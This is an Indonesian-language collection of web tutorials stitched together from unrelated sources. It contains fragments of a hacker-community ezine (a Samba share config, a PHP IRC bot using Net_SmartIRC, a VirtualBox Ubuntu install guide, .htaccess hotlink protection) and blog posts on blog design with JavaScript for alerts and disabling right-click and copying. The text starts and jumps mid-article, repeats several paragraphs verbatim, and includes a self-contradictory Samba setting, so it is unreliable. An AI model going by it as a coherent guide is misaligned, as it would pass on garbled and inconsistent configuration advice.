public = no
writable = no
create mode = 0700
# Sharing Printer Windows clients look for this share name as a source of downloadable
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
writable = yes
guest ok = no ----> guest dilarang masuk
write list = root, @ntadmin
# Sharing CD-ROM with others.
[cdrom]
comment = Samba server's CD-ROM
writable = no
locking = no
path = /cdrom
public = yes ----> public berarti bebas dipakai oleh siapa saja
Logikanya pembuatan sharing folder dapat dilihat pada bagian [master]. Yang perlu diperhatikan adalah
security= user / share, writeable= yes / no, browseable = yes / no, path dan valid users. Dan inti dari
setting samba kita kali in adalah menghilangkan tanda ( ; ) pada media yang akan kita sharingkan..
Nah setelah itu kita membuat sebuah user untuk tempat sharing data kita tadi.
# useradd wahyu
#smbpasswd wahyu
Ulangi password wahyu
# /etc/init.d samba restart
Selesai sudah kita membuat server standar pada linux debian4, semoga dapat di pahami, dan bermanfaat
bagi orang banyak, Sekian dari saya terima kasih.
Nama : Wahyu Adi Prasetyo
ID : wahyu_devilzcode
Email : wahyu05111991@yahoo.com
Devilzc0de Ezine #1
Pertama, kita akan men-download Net_SmartIRC di sini. Ya, ini adalah “tarball,” TAR arsip atau file di
dalam gzip arsip. Jika anda tidak memiliki perangkat lunak untuk meng-extract file ini, Anda tidak perlu
khawatir! Kita bisa meng-extract langsung dan di upload ke Shellium. Jika Anda memiliki perangkat
lunak, bagus! lanjutkan dan extract file nya. Jika Anda masih perlu untuk mengambil file tersebut, cukup
menjalankan perintah ini: tar-zxf Net_SmartIRC-1.0.0.tgz
Kita tidak memerlukan file “package.sig” atau “package.xml,” jadi, hapus saja. Sekarang anda seharusnya
sudah memiliki sebuah direktori bernama “Net_SmartIRC-1.0.0.” Cd ke dalam direktori ini. Anda
dapat menyimpan salah satu atau semua file-file ini, atau hanya perlu bare utama. Yang benar-benar
Anda perlukan untuk mendapatkan PHP IRC bot up dan running adalah:
* The directory “SmartIRC”
* The file “SmartIRC.php”
Ya, itu semua. Namun, saya akan rekomendasikan menjaga direktori “docs” dan “examples,” karena
mereka dapat membantu anda dengan hal-hal yang tidak ditawarkan tutorial ini.
Baiklah, mari kita mulai. Buat file teks kosong dengan ekstensi “php”. Ke dalam file ini, masukkan berikut
ini:
include_once('SmartIRC.php');
class mybot
{
function test(&$irc, &$data)
{
$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, $data->nick.': It works!');
}
function quit(&$irc, &$data)
{
if ($data->nick == "YourNickHere")
{
$irc->disconnect();
}}}
$bot = &new mybot();
$irc = &new Net_SmartIRC();
$irc->setDebug(SMARTIRC_DEBUG_ALL);
$irc->setUseSockets(TRUE);
$irc->registerActionhandler(SMARTIRC_TYPE_CHANNEL, '^!test', $bot, 'test');
$irc->registerActionhandler(SMARTIRC_TYPE_CHANNEL, '^!quit', $bot, 'quit');
$irc->connect('irc.server.net', 6667);
$irc->login('Net_SmartIRC', 'Net_SmartIRC Client '.SMARTIRC_VERSION.' (yourfilename.php)', 0,
'Net_SmartIRC');
$irc->join(array('#test'));
$irc->listen();
$irc->disconnect();
Menulis Sebuah IRC Bot di PHP
Devilzc0de Ezine #1
Silakan lanjutkan dan edit hal-hal dasar seperti channel Anda, dan nama server.
Sekarang, mari kita lihat apa yang sudah dilakukan script ini.
class mybot
{
function test(&$irc, &$data)
{
$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, $data->nick.': It works!');
}
function quit(&$irc, &$data)
{
if ($data->nick == "YourNickHere")
{
$irc->disconnect();
}}}
Class ini adalah bot Anda. Semua tanggapan yang ditetapkan diprogram di sini. Kita dapat melihat
bahwa kita memiliki fungsi bernama “test” yang mengambil dua argumen. “Irc” dan “data.” Irc objek
adalah agar kita dapat berinteraksi dengan saluran di dalam IRC bot. Sedangkan data objek sebagian
besar berisi data pesan. Kita akan berbicara mengenai hal ini nanti. Sekarang, mari kita melihat
pernyataan di dalam fungsi ini pada Class ini. Kita memanggil salah satu fungsi di dalam IRC objek,
pesan. Kita mengirimkan pesan dengan jenis “SMARTIRC_TYPE_CHANNEL,” yang berarti kita mengirimnya
ke channel. Pesan target kita adalah $data->channel, yang diatur secara otomatis ke channel
asal. Pesan kita adalah $data->nick.’: It works!’, Yang sangat mudah dipahami jika anda tahu PHP
Anda. Kita juga menetapkan fungsi keluar yang disarankan, karena kita harus merestart bot setiap kali
kita menambahkan fungsi. Fungsi keluar hanya berfungsi jika “Anda” adalah satu-satunya pemberi
perintah, jadi silahkan edit/ubah baris ini.
$bot = &new mybot();
$irc = &new Net_SmartIRC();
$irc->setDebug(SMARTIRC_DEBUG_ALL);
$irc->setUseSockets(TRUE);
$irc->registerActionhandler(SMARTIRC_TYPE_CHANNEL, '^!test', $bot, 'test');
$irc->connect('irc.server.net', 6667);
$irc->login('Net_SmartIRC', 'Net_SmartIRC Client '.SMARTIRC_VERSION.' (yourfilename.php)', 0,
'Net_SmartIRC');
Wow, banyak hal baru di sini. Baiklah, pada baris pertama kita akan membuat sebuah contoh dari
mybot, disimpan dalam variabel $bot. Kita juga membuat contoh baru dari perpustakaan,
Net_SmartIRC, dan menyimpannya dalam $irc. Kita mengaktifkan semua pesan debug, meskipun anda
dapat mengubah ini ke SMARTIRC_DEBUG_NONE jika anda menginginkannya. Baris berikutnya tidak
penting, tapi diperlukan, jadi jangan menghapusnya.
Ok, sekarang kita di baris yang penting. Tindakan penanganan. Anda akan banyak menggunakan ini,
sebenarnya, IRC bot dibangun pada platform tindakan penanganan. Ini pada dasarnya memberitahu
$bot untuk memanggil fungsi tes apabila ada yang mengatakan sesuatu yang dimulai dengan !Tes di
channel IRC.
Devilzc0de Ezine #1
Kemudian kita melakukan koneksi ke server IRC, (Anda akan benar-benar ingin mengubah alamat di
sini!) Dan mengirim informasi kita, yang dapat Anda edit.
$irc->join(array('#test'));
$irc->listen();
$irc->disconnect();
Kita kemudian bergabung dengan array channel. (Anda dapat mengubah baris ini ke
$irc->join(array(‘#test’,'#test2′)); atau menambahkan channel sebanyak yang Anda inginkan, atau butuhkan.
Kita kemudian memanggil $irc->listen(), yang secara sederhana merupakan sebuah respon tak
berbatas yg berulang ke ping server, memeriksa kegiatan penanganan, dan hal menyenangkan lainnya.
Jika listen() berhenti dengan alasan apapun, dapat dipastikan bahwa kita terputus dari IRC, dan … File
berakhir! Anda dapat menjalankan bot ini cukup dengan menjalankan “php yourfilename.php”, atau
mengunjungi php file dalam web browser.
Sekarang, mari kita menguji bot! Koneksikan ke server dan bergabung dengan channel yang ditetapkan.
Ketik !Test. bot Anda seharusnya merespon. Ketik !quit. Bot Anda seharusnya keluar. Seharusnya
mudah untuk mengembangkan hal ini dan membuat bot Anda lebih baik!
Selamat Mencoba!
Devilzc0de Ezine #1
VirtualBox adalah salah satu software Virtualisasi yang dapat digunakan untuk menjalankan sistem
operasi lain. Misalnya ane melakukan instalasi VirtualBox pada windows, ane bisa menggunakan VirtualBox
pada windows untuk menjalankan sistem ubuntu atau distro Linux lainnya. Fungsi ini sangat
penting jika kita ingin melakukan ujicoba dan simulasi instalasi maupun melakukan testing suatu sistem
tanpa harus kehilangan sistem yang ada. ane bisa mencoba Windows atau Ubuntu atau Fedora atau
Red Hat tanpa harus melakukan install ulang windows yang ane gunakan. Aplikasi dengan fungsi
sejenis lainnya adalah VMWare dan Microsoft Virtual Server.
Apa keuntungan VirtualBox dibandingkan dengan aplikasi sejenis. Yang utama adalah karena Virtual-
Box Free dan Open Source. VirtualBox tersedia dalam berbagai edisi namun skema lisensi yang ditawarkan
cukup ramah bagi pengguna, misalnya versi OSE (Open Source Edition) yang Free dan Open
Source dan versi binary yang free untuk penggunaan personal.
nyok mulai…. :
ane ndak sempet bahas cara nginstallnya, mudah2an udah pada tau ya, kali ini ane coba untuk menjelaskan
cara settinga Vbox untuk isntall ubuntu, jumpgrin: :jumpgrin:
Download VirtualBox untuk windows dari http://www.virtualbox.org/wiki/Downloads
trus langsung aja install, sampe selesai, kalo nginstall kan mudah ya cuman next trooos ampe lampu
merah :respect: :respect: , kalo udah siapkan CD ubuntu 9.04 atau dalam format *.iso buka hasil
installer,l akan muncul tampilan gini
Install Ubuntu 9.04 dengan Virtual Box
Devilzc0de Ezine #1
Langsung aja pilih tombol baru / new di bagian atasnya, kemudian langkah selanjutnya adalah menentukan
jenis OS yang akan kita pakai
kemudian kalo udah langsung aja tekan next, maka selanjutnya kita akan menentukan besar RAM
(memory )yang akan kita pakai untuk Vbox, perlu diingat bahwa memory ini
jangan gede ngasinya he…he…bisa2 ntar kompi kita jadi lemot, kalo bisa settingnya biarkan default
aja, kalo ga ya naikin dikit2 boleh lah
Devilzc0de Ezine #1
kemudian kita harus menentukan kapasitas hardisk untuk Os virtual kita, perhatikan juga kapasitas
hardisk kita, karena besar ukuran Hd Vbox tidak mutlak akan mengambil besar HD kita, Vbox akan
mengambil besar HD sesuai pemakaian aja.
Devilzc0de Ezine #1
setelah selesai maka system akan meberikan iformasi configurasi yang telah kita set sebelumnya,
Devilzc0de Ezine #1
tekan aja finis langsung, ndak usah plototin tu layar lagi, karena urusan kita dah selesai , trus selajutnya
kita tinggal menentukan setingan komputer seperti layakanya komputer biasa, kalo langkah sebelumnya
tadi istilahnya kita merakit komputer kita, tetapi secara virtual, nah sekarang kita setting komputer
virtual kita, seperti setingan sound, VGA, boot, Ethernet Card Dll, pokoke seperti setingn komputer
biasa lah, untuk melakukan itu langsung aja pilih menu setting di bagian atasnya
Devilzc0de Ezine #1
setelah tombol setting kita tekan maka Vbox akan menampilkan sederetan informasi komputer virtual
kita, seperti spesipikasi hardwere,
untuk settingan hardwere virtual ini sebenarnya tergantung pada kita aja mau di setingkaya bijimana,
tapi yang terpenting untuk pengistalan adalh pada bagian CD/DVD room karena kita harus mennetukan
booring pertama komputer virtual kita, seperti layaknya komputer nyata kan ??? , cuman bedanya kalo
komputer nyata kita nyetingnya di Bios
Devilzc0de Ezine #1
ah kalo udah tinggal pilih kita pake CD/DVD kepingan atao format iso, pada kasus ini ane make yang
CD/DVD kepingan ubuntu 9.04, maklum kalo iso HD ane bengkak
kalo udah langsung aja selesaikan tugas kita untuk urusan seting2an, dengan menekan tombol OK,
langsung aja tekan tombol start / mulai utnuk memulai pengistallan ubuntu 9.04 dengan komputer
virtual kita yang baru
Devilzc0de Ezine #1
Pilih bahasa dan tekan kemudian tekan ENTER, maka ente-emte semua aan di bawa menuju ke halaman
berikutnya
Pilih “Install Ubuntu” kemudian enter
Devilzc0de Ezine #1
Installasi Ubuntu proses loading…
Kemudian pilih bahasa installasi, kemudian tekan Forward.
Pilih negara dan propinsi, dalam contoh ini memilih Eropa dan kota London, kemudian tekan Forward,
atau maju…
Devilzc0de Ezine #1
Pilih Keyboard biasanya kalo di Indonesia memakai US Internasional…, tapi dalam contoh memakai
Inggris UK, tekan Forward…
Kemudian akan terlihat ruangan dalam hardisk, pilih untuk membuat partisi baru jika belum ada, atau
jika dual boot…
Dalam contoh ini memakai VBOX dan menggunakan 8 GB ruang Hardisk…, Untuk Ubuntu ini memakai
minimal 6 GB agar lebih aman biasanya…
Juga pastikan membuat partisi untuk Swap minimal setengah Giga bytes
Devilzc0de Ezine #1
Selanjutnya isikan nama Username, dan apakah mau login otomatis atau tidak, pilih sesukanya…
Jika paswword ente kurang kuat atau mudah ditebak maka akan muncul tampilan seperti ini
Devilzc0de Ezine #1
Akan muncul list installasi, kemudian jika sudah yakin maka tekan Install…
Jika ente memilih instalasi andvance maka akan muncul tampilan seperti ini…
Devilzc0de Ezine #1
Gambar progres pemartisian…
Proses instalasi sedang berjalan.
Installasi selesai maka silahkan di restart
Devilzc0de Ezine #1
Inilah tampilan setelah booting di Ubuntu 9.04 Jaunty Jackalope…
Desktop Ubuntu 9.04 Jaunty Jackalope ente sudah siap, kemudian silahkan dicoba, jika mau menambahkan
MP3 dan lainnya maka silahkan untuk mendownload codexnya, karena memang terpisah dan
masuk kategori non free, dalam artian tidak disajikan bersama dalam paket installasi.
By : wenkhairu
wenkhairu@gayo-cool.net
Thanks to All member of
http://www.jasakom.com
http://www.whitecyber.net
http://www.devilzc0de.org
Devilzc0de Ezine #1
“Saat ini segalanya yang dihasilkan para penulis benar-benar luar biasa, mereka memberikan kepada
kita segalanya. Dan mereka juga melakukannya dari hati dan dengan keikhlasan, Anda dapat melihat
dan merasakan bagaimana mereka begitu bergembira dengan semua yang dilakukan dan sumbangkan
untuk terbitnya E-Zine. Ini bukan hanya sebuah bahan bacaan biasa, ini adalah bagian dari jiwa
mereka, bagian dari yang mereka berikan kepada kita, sebagai sumber pengetahuan, dan amal...”
Akhir kata kami segenap Staff Pengurus Devilzc0de mengucapkan banyak terima kasih yang sebesar
besarnya kepada pihak pihak yang mendukung dan membantu terlaksananya hingga terbitnya E-Zine
ini...
Semoga semangat kita semua untuk bersatu dan membangun bisa terjalin dengan baik...
Salam...
2. Siapkan gambar dengan nama pemandangan.jpg 3. Upload kedua file tersebut ke file hosting. Pada contoh kali ini saya menggunakan 2 file hosting yang berbeda. 4. Buka browser dan ketik URL sebagai berikut http://website1.com/gambar.php?pic=pemandangan.jpg Devilzc0de Ezine #1 Maka hasil yang didapat sebagai berikut Bila hanya seperti ini orang lain bisa saja melakukan Copy Image URL untuk menampilkannya di website miliknya. http://website1.com/pemandangan.jpg Nah untuk mencegah hal itu terjadi maka kita harus menyiapkan file .htaccess yang berisi baris-baris seperti ini RewriteEngine On RewriteCond %{REQUEST_FILENAME} .*jpg$|.*gif$|.*png$ [NC] RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !websitekamu\.com [NC] RewriteCond %{HTTP_REFERER} !websiteteman\.com [NC] RewriteCond %{HTTP_REFERER} !google\. [NC] RewriteCond %{HTTP_REFERER} !search\?q=cache [NC] RewriteRule (.*) /gambar.php?pic=$1 Maka ketika seseorang melakukannya lagi maka dia tidak akan mendapatkan hasil apa-apa. Devilzc0de Ezine #1 9. Memberikan Password Pada File
Jumat, 14 Oktober 2011
17 Cara Agar Blog Tampil Profesional
17 Tips agar halaman blog tampil Profesional
Penambahan widgets dan aksesoris pada halaman blog memang menyenangkan dan membuat halaman blog akan terlihat sangat cantik. Tapi tahukah anda ada beberapa hal yang harus dihindari pada halaman blog anda agar terlihat lebih profesional. Kenapa tampilan halaman harus Profesional? untuk menjawab hal ini sangatlah bervariatif yang jelas jawaban abstrak dari saya adalah masalah tampilan, anda tahu kan penampilan halaman dengan user interface yang baik adalah hal yang utama, apapun didunia ini pertama kali yang dilihat adalah penampilan jika kesan pertama sudah tidak baik jelas akan berpengaruh buruk terhadap pengunjung blog anda. secara realita memang penilaian setiap orang bervariasi dan relatif tetapi tidak salah kan kita mencoba menuju ke kearah kesempurnaan.
Masih ingat beberapa bulan yang lalu ketika saya baru pertama kali membuat blog. Banyak sekali widget dan aksesoris yang saya pasang pada halaman blog saya, setelah saya pikir-pikir untuk apa semua itu jika tidak ada hubungan sama sekali dengan blog saya dan jangan pernah berpikir bahwa tampilan blog saya Profesional karena mencapai tujuan tersebut sangatlah tidak mudah dan butuh waktu. untuk menjawab semua hal diatas saya akan berbagi tips bagaimana menjadikan halaman blog anda terlihat lebih berisi dan terlihat profesional dan apa saja yang harus dihindari pada halaman blog anda .
17 tips agar halaman blog terlihat lebih Profesional :
1. Lakukan pengecekan halaman pada beberapa web browser yang berbeda: Tampilan halaman anda begitu cantik di browser firefox tetapi belum tentu bagus di browser IE atau Opera atau browser yang lain. Ingat pengunjung blog anda tidak hanya menggunakan satu browser saja. untuk itu anda coba lakukan pengecekan dengan browser yang berbeda, misalkan : Firefox, Flock, Mozilla, IE, Opera, Safari.
2. Pilihan warna pada blog : Pemilihan warna memang susah-susah gampang semuanya tergantung selera pemilik blog. Jangan terlalu egois, pilih warna sesuai dengan tema blog anda. coba anda pikir jika blog anda tentang agama dengan pilihan warna hitam, terlihat janggal bukan! kebanyakan warna hitam lebih cenderung ke situs yang bertemakan underground.
3. Hindari Memasang Jam : Tanyakan pada diri anda sendiri apa gunanya memasang jam di blog anda, jika hanya sebagai pengingat waktu atau untuk mempercantik halaman sebaiknya tidak usah digunakan, apa gunanya jam pada taksbar windows. yang jelas bakal bikin load page anda semakin berat.
Masih ingat beberapa bulan yang lalu ketika saya baru pertama kali membuat blog. Banyak sekali widget dan aksesoris yang saya pasang pada halaman blog saya, setelah saya pikir-pikir untuk apa semua itu jika tidak ada hubungan sama sekali dengan blog saya dan jangan pernah berpikir bahwa tampilan blog saya Profesional karena mencapai tujuan tersebut sangatlah tidak mudah dan butuh waktu. untuk menjawab semua hal diatas saya akan berbagi tips bagaimana menjadikan halaman blog anda terlihat lebih berisi dan terlihat profesional dan apa saja yang harus dihindari pada halaman blog anda .
17 tips agar halaman blog terlihat lebih Profesional :
1. Lakukan pengecekan halaman pada beberapa web browser yang berbeda: Tampilan halaman anda begitu cantik di browser firefox tetapi belum tentu bagus di browser IE atau Opera atau browser yang lain. Ingat pengunjung blog anda tidak hanya menggunakan satu browser saja. untuk itu anda coba lakukan pengecekan dengan browser yang berbeda, misalkan : Firefox, Flock, Mozilla, IE, Opera, Safari.
2. Pilihan warna pada blog : Pemilihan warna memang susah-susah gampang semuanya tergantung selera pemilik blog. Jangan terlalu egois, pilih warna sesuai dengan tema blog anda. coba anda pikir jika blog anda tentang agama dengan pilihan warna hitam, terlihat janggal bukan! kebanyakan warna hitam lebih cenderung ke situs yang bertemakan underground.
3. Hindari Memasang Jam : Tanyakan pada diri anda sendiri apa gunanya memasang jam di blog anda, jika hanya sebagai pengingat waktu atau untuk mempercantik halaman sebaiknya tidak usah digunakan, apa gunanya jam pada taksbar windows. yang jelas bakal bikin load page anda semakin berat.
4. Hindari pasang kalender : Apa gunanya kalender windows? orang butuh informasi dari blog anda bukan ingin melihat kalender. sekedar informasi kalender yang saya maksud adalah kalender umum, beda dengan kalender yang menampilkan sebuah posting (biasanya banyak digunakan pengguna wordpress)
5. Hindari pasang jumlah pengunjung tetap: jika blog anda baru jangan gunakan jumlah pengunjung (counter), ini akan berakibat penilaian yang buruk terhadap blog anda. walaupun untuk beberapa penyedia layanan counter menyediakan fasilitas untuk memanipulasi dan menambah jumlah pengunjung secara manual, coba anda pikir blog yang baru dibuat sudah mencapai 100.000 pengunjung apa itu mungkin?.
6. Jangan memelas untuk meminta mengklik iklan : hindari kata "klik iklan dibawah ini" atau bahasa apapun yang meminta pengunjung anda untuk mengklik iklan. sampai saat ini ada beberapa blog yang melakukan hal tersebut (maaf jika blog anda termasuk dalam hal ini) siapa sih didunia ini yang suka diperintah, Tanpa anda menyuruhpun pengunjung bakal mengklik iklan tersebut jika dirasa berguna gai mereka.
7. Jangan memasang iklan yang berserakan : Iklan yang banyak memang sangat menguntungkan, namun jangan sampai isi halaman anda hanya iklan dan iklan. Pasang iklan sewajarnya saja dan tahukah anda pengunjung sangat risih dengan adanya iklan yang telihat melebihi kapasitas dari isi halaman blog anda.
8. Hindari memasang lagu pada blog : Selain bikin halaman berat blog yang menampilkan lagu agak terkesan tidak profesional dan maaf agak terkesan jaman dulu (jadul). Tidak masalah jika blog anda tentang musik atau blog personal tapi untuk blok bisnis kayanya kurang cocok.
9. Menampilkan status IP pengunjung : Blog anda bukan program spy khan?, jadi lebih baik tidak usah dipasang agar pengunjung tidak merasa dimata-matai.
10. Memasang widgets yang tidak ada hubunganganya dengan blog : Menambahkan widgets memang menyenangkan tapi jika tidak ada hubungannya malah blog anda terkesan aneh. pasanglah widget sesuai dengan kebutuhan saja.
11. Jangan hanya Copy-Paste : Saya tidak melarang anda untuk melakukan Copy-Paste, jika memang dilakukan sebaiknya perbaiki juga code scriptnya, hargai jerih payah penulis sebenarnya karna jika hanya copy-paste tulisannya tidak bakal terlihat rapi dan kemungkinan gambar yang diikutsertakan tidak bakal muncul.
12. Perhatikan tanda baca : Perhatikan tulisan anda apakah sudah benar tanda bacanya. Kesalahan dalam titik koma saja akan berakibat mempunyai arti yang berbeda.
13. Jangan gunakan gambar yang besar : Gambar memang mempercantik halaman anda, gambar yang besar justru jadi bumerang buat loading page anda. yang jelas blog anda pasti akan diabaikan untuk sementara waktu ketika loading page sedang berjalan.
14. Periksa Dead link : Link yang telah mati bakal tidak disukai pembaca, jangan kan pembaca search engine pun tidak menyukai hal ini. Lakukan pengecekan dead link sesering mungkin, banyak tools di internet yang bisa melakukan tugas ini.
15. Jangan terlalu banyak memposting artikel orang lain : Ini akan mendapat respon buruk dari pembaca, karna pembaca akan lebih berpikir lebih baik membaca kesumbernya secara langsung.
16. Selalu pasang nama sumber artikel : Blog yang profesional selalu menghargai jerih payah orang lain, yang jelas memasang nama sumber tidak merugikan anda sedikitpun sebaliknya penghargaan atas jerih payah orang lain itulah yang membuat anda terlihat lebih profesional.
17. Cara merespon komentar yang baik : Jangan pernah bersikap menggurui, hargai semua komentar dengan bijak walau pun ada beberapa komentar yang menyebalkan. Ingat! blog tempat orang menuangkan semua ide dan pemikiran jadi semua orang pasti mempunyai pendapat yang berbeda.
Sebagian tulisan diatas saya dapatkan dari beberapa sumber terpercaya dan sebagian lagi adalah pemikiran saya pribadi berdasarkan pengalaman saya. Terima kasih pada Cosa Aranda tentang sebagian tips terbaiknya.
Jika tidak sependapat dengan saya dan anda mempunyai pemikiran yang berbeda dapat menuangkannya pada halaman komentar.
Kamis, 13 Oktober 2011
Membuat ucapan selamat datang
Membuat ucapan selamat datang blog
Setelah kemarin blogtegal memposting artikel tentang membuat ucapan terima kasih pada kotak komentar Sekarang blogtegal ingin share tentang membuat ucapan selamat datang pada blog ketika user mengunjungi blog kita.
Pernah gak sewaktu kamu membuka suatu blog ada jendela munculan kecil yang berisi ucapan selamat datang. Bisanya berisi ''Selamat datang di blog ini''
Pasti pernah dong, trus bagaimana cara membuatnya? Apakah anda juga tertarik untuk membuat ucapan selamat datang tersebut? Lets do it.
Membuat pesan selamat datang blog.
Tambahkan kode yang berwarna merah diantaranya.
Setelah kemarin blogtegal memposting artikel tentang membuat ucapan terima kasih pada kotak komentar Sekarang blogtegal ingin share tentang membuat ucapan selamat datang pada blog ketika user mengunjungi blog kita.
Pernah gak sewaktu kamu membuka suatu blog ada jendela munculan kecil yang berisi ucapan selamat datang. Bisanya berisi ''Selamat datang di blog ini''
Pasti pernah dong, trus bagaimana cara membuatnya? Apakah anda juga tertarik untuk membuat ucapan selamat datang tersebut? Lets do it.
Membuat pesan selamat datang blog.
- Login ke dashboard blog kamu.
- pilih Rancangan »» Edit HTML
- cari kode </head>
- Tempatkan script berikut diatasnya
<script language='javascript'>alert ("Tulis pesan apa saja disini, sakerepmu arep di tulisi opo");
</script> - terakhir klik 'SIMPAN'
Tambahkan kode yang berwarna merah diantaranya.
<b:if cond='data:blog.Url == data:blog.homepageUrl'> <script language='javascript'>alert ("Tulis pesan apa saja disini, sakerepmu arep di tulisi opo"); </script> </b:if>
Membuat blog Anti COPY PASTE
Membuat blog anti klik kanan,anti copy paste, kembali lagi blog tutorial blogtegal mengulas tentang tutorial blogspot yg mana pada kesempatan kali ini akan membahas tentang membuat anti klik kanan,membuat blog anti copy paste,disable your right click,membuat blog anti jiplak, mungkin lebih tepatnya mematikan klik-kanan untuk menghindari peng-copy paste-an artikel dari suatu blog ke blog lain.
Manfat dari membuat anti klik-kanan pada suatu blog itu banyak,terutama dalam urusan SEO,mengapa? Jika suatu artikel di copy paste dari suatu blog ke blog lain,maka ke-2 blog yg di copy maupun blog yang mem-paste akan berkurang nilai SEO blog tersebut di mata search engine, terutama search engine Yahoo yg pengecekannya dilakukan secara manual oleh tenaga manusia. Yang berakibat menurunnya traffic,pagerank dan alexa rank suatu blog. Yang mana walaupun blog yg meng-copy menyebutkan blog sumber artikel berasal, itu hanya untuk pengunjung saja memberitahu,tapi untuk search engine ''halah nyong ora ngarti pokoke koen ora kreatif dadi tak tempatna nang mburi pisan'', ihh gak banged deh.
Tapi ada satu hal yg perlu kamu catat baik-baik sebelum membuat anti jiplak pada blog kamu yakni pelu gak blog kita diberi kode anti copy paste?
Jika blog kamu bertemakan sama kayak blogtegal ini atau sejenisnya maka sebaiknya jangan,karena berisi tentang tutorial kode yg memang harus di copy, jěka diberi script anti jiplak mau dibuang kemana tu pengunjung? Mau dapat ilmu dari mana jika kodenya tidak bisa di kopi? Di tulis? Keburu kiamat
Kecuali kode yg mau di copy di tempatkan pada textarea
Jika blog kamu bertemakan sama kayak blogtegal ini atau sejenisnya maka sebaiknya jangan,karena berisi tentang tutorial kode yg memang harus di copy, jěka diberi script anti jiplak mau dibuang kemana tu pengunjung? Mau dapat ilmu dari mana jika kodenya tidak bisa di kopi? Di tulis? Keburu kiamat
Kecuali kode yg mau di copy di tempatkan pada textarea
Jika memang ingin membuat blog anti copy paste bisa ikuti tutorial berikut:
Ada dua script yg bisa kamu pake menurut keperluan dari blog kamu, diantaranya:
Ada dua script yg bisa kamu pake menurut keperluan dari blog kamu, diantaranya:
- Script anti copy paste + disable klik kanan.
- script anti copy paste yg bisa klik kanan.
1. Script anti copas + disable klik kanan
Script yang pertama ini berguna untuk membuat blog anti copas plus men-disable klik kanan, jadi pengunjung tidak bisa membuka tab baru dg klik kanan diatas link ''Open in New Tab'', caranya: Yakni tempatkan script di bawah ini pada widget HTML/javascript pada blog kamu.- login ke dashboard blogspot kamu.
- pilih Rancangan/Desain
- pada halaman element laman klik ''tambah gadget'' / ''Add gadget''
- pilih widget HTML/javascript
- dan pastekan script berikut didalamnya.
- klik SIMPAN
Script yang dicopy:
<script language="javascript"> <!-- Begin function shake(n) { if (parent.moveBy) { for (i = 10; i > 0; i--) { for (j = n; j > 0; j--) { self.resizeTo(250,150); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0); parent.moveBy(0,i);}}}} // End --> PopUpURL = "Maaf anda tidak di perbolehkan klik kanan"; isIE=document.all; isNN=!document.all&&document.getElementById; isN4=document.layers; if (isIE||isNN) { document.oncontextmenu=checkV; } else { document.captureEvents(Event.MOUSEDOWN || Event.MOUSEUP); document.onmousedown=checkV; } function checkV(e) { if (isN4) { if (e.which==2||e.which==3) { dPUW=alert("Maaf anda tidak di perbolehkan klik kanan"); shake(2); return false; } } else { dPUW=alert(PopUpURL); shake(2); return false; } } </script>
Ganti tulisan yang berwarna ungu resuai kehendakmu.
2. Script anti copas yang bisa klik kanan
Untuk script yang kedua ini berguna untuk membuat blog anti copy paste yang bisa klik kanan. Jadi pengunjung bisa membuka halaman blog kamu dengan klik kanan ''Open in New Tab, caranya: Tempatkan script berikut diantara kode <head> dan kode </head> di dalam template kamu.<SCRIPT type='text/javascript'> if (typeof document.onselectstart!="undefined") { document.onselectstart=new Function ("return false"); } else{ document.onmousedown=new Function ("return false"); document.onmouseup=new Function ("return true"); } </SCRIPT>
Membuat daftar isi Otomatis Blog
Membuat daftar isi otomatis blog, Hari ini blogtegal akan berbagi tutorial yang sangat sederhana yakni membuat daftar isi otomatis blog yang mana daftar-daftar ini akan bekerja secara otomatis yg menampilkan isi-isi artikel blog berdasarkan label,jadi cara kerja daftar isi otomatis sama persis dengan cara kerja Related post. Contohnya bisa di lihat daftar isi.Untuk masalah tingkat ke-SEO-annya awak rasa tidak ada, karna menggunakan javascript, sedangkan search engine kurang bersahabat dengan yang namanya javascript, jadi daftar isi otomatis ini tidak terindex search engine, oke kita langsung ke tutorialnya.
Silahkan copy paste script berikut pada posting baru, ya seperti membuat postingan biasa atau bisa kamu tempatkan pada Static_Page.
Silahkan copy paste script berikut pada posting baru, ya seperti membuat postingan biasa atau bisa kamu tempatkan pada Static_Page.
<script style="text/javascript" src="http://blogtegal.googlecode.com/files/auto-contents.js">
</script>
<script src="http://www.blogtegal.com/feeds/posts/default?max-results=9999&alt=json-in-script&callback=loadtoc">
</script>
Cara Membuat widget Melayang
Cara membuat widget melayang pada blog. Terutama yg akan blogtegal bahas yakni membuat widget melayang pada pengguna blogspot, manfaat dari widget melayang itu sendiri banyak, biasanya di gunakan untuk ditempati iklan berbasis PPC atau iklan yg begitu penting yg sangat terbatas waktu promosinya yang di maksudkan agar pengunjung tahu bahwa ada bisnis yang penting sekarang ini.
Widget melayang ini bisa kita atur tata letaknya entah mau d letakan sebelah kiri, kanan, atas maupun bawah pada posisi blog, nanti akan awak terangkan di bawah, hokey :d
Untuk tampilan besar kecilnya ukuran widget melayang ini tergantung pada isi yang akan kita tempatkan.
Jika widget melayang ini kita tempati iklan berbasis PPC, maka ukuran-y akan menyesuaikan dg ukuran iklan, untuk contohnya bisa di lihat pada pojok kanan atas di blogtegal.com ini.
Bagaimana apakah kamu tertarik untuk membuatnya? Jika ya mari kita lakukan penelitiannya hehehehe. . . . . .
Silahkan copi paste script di bawah ini pada widget HTML/Javascript.
Jika bingung apa itu widget HTML/Javascript silahkan ikuti petunjuknya:
Bagaimana apakah sudah bisa membuat widget melayang atau membuat iklan melayang? Semoga bermanfaat.
